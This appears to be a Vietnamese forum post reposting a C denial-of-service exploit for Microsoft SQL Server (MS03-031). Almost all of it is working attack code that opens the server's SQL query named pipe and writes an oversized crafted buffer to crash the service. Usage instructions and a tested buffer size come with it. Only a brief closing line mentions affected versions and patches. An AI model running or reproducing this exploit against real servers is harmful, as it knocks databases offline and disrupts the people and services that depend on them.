Code làm tê liệt các máy chủ dùng MSSQL Server

code khai thác

////////////////////////////////////////////////////////////////////////////////
//
// exp for Microsoft SQL Server DoS(MS03-031)
//
// By : refdom
// Email : refdom@xfocus.org
// Home Page : http://www.xfocus.org
// http://www.xfocus.org/exploits/200307/expMS0331.cpp
////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


void Usage()
{
printf("******************************************\n");
printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@xfocus.org\n");
printf("\t Homepage: www.xfocus.org\n\n");
printf("Usage: DOSMSSQL.exe server buffersize\n");
printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
printf("The buffersize depends on service pack level.\n");
printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
printf("when buffersize is 9000, the server can be crashed.\n");
printf("\n");
printf("*******************************************\n\n");
}


int main(int argc, char* argv[])
{
char lpPipeName[50];
char *lpBuffer = NULL;
unsigned long ulSize = 0;

BOOL bResult;
DWORD dwWritten = 0, dwMode;
HANDLE hPipe;

Usage();

printf("Starting...\n");

if (argc != 3)
goto Exit0;

if (strlen(argv[1]) < 20)
{
sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
}
else
{
printf("Error!server\n");
goto Exit0;
}

ulSize= atol(argv[2]);

lpBuffer = (char*)malloc(ulSize + 2);
if (NULL == lpBuffer)
{
printf("malloc error!\n");
goto Exit0;
}

memset(lpBuffer, 0, ulSize + 2);
memset(lpBuffer, 'A', ulSize);
*lpBuffer = '\x12';
*(lpBuffer + 1) = '\x01';
*(lpBuffer + 2) = '\x00';

printf("Connecting Server...\n");

hPipe = CreateFile(lpPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (INVALID_HANDLE_VALUE == hPipe)
{
printf("Error!Connect server!%d\n", GetLastError());
goto Exit0;
}

dwMode = PIPE_READMODE_MESSAGE;
bResult = SetNamedPipeHandleState(
hPipe, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!bResult)
{
printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
goto Exit0;
}

bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);

if (!bResult)
{
printf("\n\tError!WriteFile.%d\n\n", GetLastError());
printf("When see the error message, the target may be crashed!!\n\n");
goto Exit0;
}

Exit0:

return 0;
}


fix lỗi và download patch tại :
1/Microsoft SQL Server 7.0
2.Microsoft SQL 2000 32-bit Edition
3.Microsoft SQL 2000 64-bit Edition